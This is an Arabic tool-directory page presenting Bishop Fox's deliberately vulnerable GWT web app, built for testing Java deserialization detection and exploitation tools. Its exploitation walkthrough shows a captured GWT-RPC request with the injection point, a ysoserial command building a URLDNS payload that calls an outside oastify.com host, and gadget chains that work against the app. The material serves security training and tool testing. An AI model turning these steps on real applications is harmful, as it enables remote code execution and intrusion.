Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
VulnerableGWTApp — تطبيق ويب قائم على GWT وهشّ عمداً لاختبار الأدوات والتقنيات | Kitploit
أدوات/GitHubGitHub/bishopfox/vulnerablegwtapp
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي
GitHubbishopfox/vulnerablegwtapp

VulnerableGWTApp

تطبيق ويب قائم على GWT وهشّ عمداً لاختبار الأدوات والتقنيات

عرض المستودع
5منذ 2 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

تطبيق ويب GWT الضعيف

هذه نسخة من تطبيق StockWatcher النموذجي الموضح في دليل البدء مع GWT تم تعديلها لاستخدام خاصية «الفئات المحسّنة» في GWT، مما يجعلها عرضة لهجوم إلغاء تسلسل Java. يجب استخدامها فقط لاختبار أدوات الكشف والاستغلال. تُستخدم الفئات المحسّنة بشكل شائع في التطبيقات الواقعية المبنية على GWT، ولكن حتى نشر هذا المثال، لم تكن هناك تطبيقات ويب مفتوحة المصدر يسهل العثور عليها يمكن لمتخصصي الأمن استخدامها للتحقق من أدواتهم وإجراءاتهم.

تتم مناقشة استغلال التطبيقات المبنية على GWT في مقال مدونة Bishop Fox بعنوان «GWT: ثغرة Java لإلغاء التسلسل غير المُصححة منذ ثماني سنوات».

تشغيل تطبيق الويب

لتشغيل تطبيق الويب، ستحتاج إلى نظام Linux يتضمن الأدوات التالية:

  • النسخة الكاملة من OpenJDK 11 JRE، وليست النسخة الرأسية (headless) - على سبيل المثال، في التوزيعات المبنية على Debian، ثبّت حزمة openjdk-11-jre
  • ant (ثبّته باستخدام مدير الحزم الخاص بتوزيعتك)
  • الإصدار 2.10.0 من GWT SDK

بدء سريع

يتطلب التطبيق عددًا من ملفات JAR كبيرة جدًا بحيث لا يمكن تضمينها مباشرة في مستودع GitHub، لذا فإن أسهل طريقة للبدء هي تنزيل أحدث حزمة من صفحة الإصدارات وفك ضغطها.

بعد فك ضغط الإصدار، عدّل هذا السطر في build.xml بحيث يستبدل /home/user/GWT/gwt-2.10.0 بدليل GWT SDK الخاص بك:

من داخل دليل الكود المصدري، نفّذ الأوامر التالية:

root@kitploit:~
ant build
ant devmode

سيؤدي هذا إلى تشغيل تطبيق الويب الضعيف وجعله متاحًا على http://127.0.0.1:8888/StockWatcher.html.

لاحظ أنه إذا كنت تعيد توجيه حركة المرور إلى الخدمة المحلية لجعلها متاحة عن بُعد، فيجب عليك أيضًا إعادة توجيه المنفذ 9876 بالإضافة إلى 8888.

التشغيل مباشرة من الكود الموجود في هذا المستودع

إذا أردت استنساخ هذا المستودع وتشغيل التطبيق دون تنزيل إصدار جاهز، فستحتاج إلى تنزيل ملفات JAR التابعة لجهات خارجية التالية وإضافتها إلى دليل lib بعد الاستنساخ:

  • aspectjweaver-1.9.2.jar
  • commons-collections-3.2.2.jar
  • javax.persistence.jar
  • jboss-as-connector-7.1.3.final.jar
  • jdo-api-3.2.1.jar
  • jpa-annotations-source.jar
  • junit-vintage-engine-5.10.0.jar
  • jython-standalone-2.7.3.jar

ستحتاج أيضًا إلى نسخ ملفات GWT JAR التالية من دليل GWT الخاص بك (مثل gwt-2.10.0/) إلى دليل lib الخاص بهذا التطبيق الضعيف:

  • gwt-dev.jar
  • gwt-servlet.jar
  • gwt-user.jar
  • validation-api-1.0.0.GA.jar
  • validation-api-1.0.0.GA-sources.jar

بعد نسخ جميع ملفات JAR هذه، نفّذ الخطوات الأخرى من قسم البدء السريع أعلاه.

استغلال تطبيق الويب

باستخدام متصفح ويب مهيأ للاتصال عبر وكيل اعتراض (مثل Burp Suite)، حمّل عنوان URL http://127.0.0.1:8888/StockWatcher.html.

ستعرض الصفحة في البداية رسالة «compiling». انتظر حتى تعرض هذا النموذج الأساسي:

[ تطبيق StockWatcher يعرض حقلاً لإضافة رمز سهم ]

أدخل سلسلة نصية قصيرة في الحقل، مثل BFOX، ثم انقر على الزر Add. يجب أن تبدأ الصفحة في عرض تحديثات عشوائية لرمز السهم المُحاكى:

[ تطبيق StockWatcher يعرض بيانات أسعار محاكاة لرمز BFOX ]

في سجل وكيل الاعتراض، لاحظ أن متصفحك يرسل الآن طلبات POST متكررة إلى http://127.0.0.1:8888/stockwatcher/checkCustomClass1، على نحو مشابه لما يلي:

root@kitploit:~
POST /stockwatcher/checkCustomClass1 HTTP/1.1
Host: 127.0.0.1:8888
...omitted for brevity...

7|0|10|http://127.0.0.1:8888/stockwatcher/|259823D3B8B1029302496D0C7E009509|com.google.gwt.sample.stockwatcher.client.CheckCustomClassService|checkCustomClass1|com.google.gwt.sample.stockwatcher.client.CustomClass1/1972642674|rO0ABXcEAAAAAA==|com.google.gwt.sample.stockwatcher.client.CustomClass2/69504871|java.sql.Date/730999118|string1 value: 12345|string2 value: 98765|1|2|3|4|1|5|5|6|7|6|0|0|8|P___i17vzAA|0|9|10|

البيانات الثنائية المشفرة Base64 rO0ABXcEAAAAAA== هي نقطة حقن قابلة للاستغلال في الطلب. لاستغلال تطبيق الويب، ستحتاج إلى توليد حمولة بديلة. على سبيل المثال، لتوليد حمولة URLDNS باستخدام نسخة Bishop Fox المخصصة من ysoserial، يمكنك تنفيذ الأمر التالي:

root@kitploit:~
$ java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar \
  --gwt bishopfox \
  URLDNS "https://dvc5ng8w4odw47m0a8qk45hdv41vpndc.oastify.com/URLDNS" \
  | base64 -w0 | sed 's/+/\$/g' | sed 's./._.g' > gwt_urldns.bin.gwt_b64

أرسل نسخة معدلة من الطلب تستبدل rO0ABXcEAAAAAA== بحمولتك المُولدة، ويجب أن يقوم التطبيق الضعيف بإلغاء تسلسلها وتشغيلها. بالإضافة إلى أي إجراء تسببه الحمولة، يجب أن تتضمن الاستجابة أيضًا استثناءً من نوع NoSuchFieldException مرتبطًا باسم الحقل إذا تم إلغاء تسلسل القيمة، على سبيل المثال باستخدام الاسم bishopfox من المثال أعلاه:

root@kitploit:~
HTTP/1.1 200 OK
Connection: close
...omitted for brevity...

//EX[2,1,["com.google.gwt.user.client.rpc.IncompatibleRemoteServiceException/3936916533","java.lang.NoSuchFieldException: bishopfox"],0,7]

إذا كنت قد استخدمت الإصدار المعد مسبقًا من تطبيق الويب الضعيف، أو أضفت يدويًا جميع ملفات JAR المذكورة أعلاه إلى بناء مخصص، فيجب أن تكون قادرًا (على الأقل) على استخدام الحمولات التالية ضد تطبيق الويب:

  • AspectJWeaver
  • Jython2
  • Jython3

في وقت كتابة هذا النص، لم يكن الإصدار الرئيسي من ysoserial يدعم المخرجات بتنسيق GWT، لذا يرجى التأكد من استخدام النسخة المتفرعة المخصصة.

تنزيل الأداة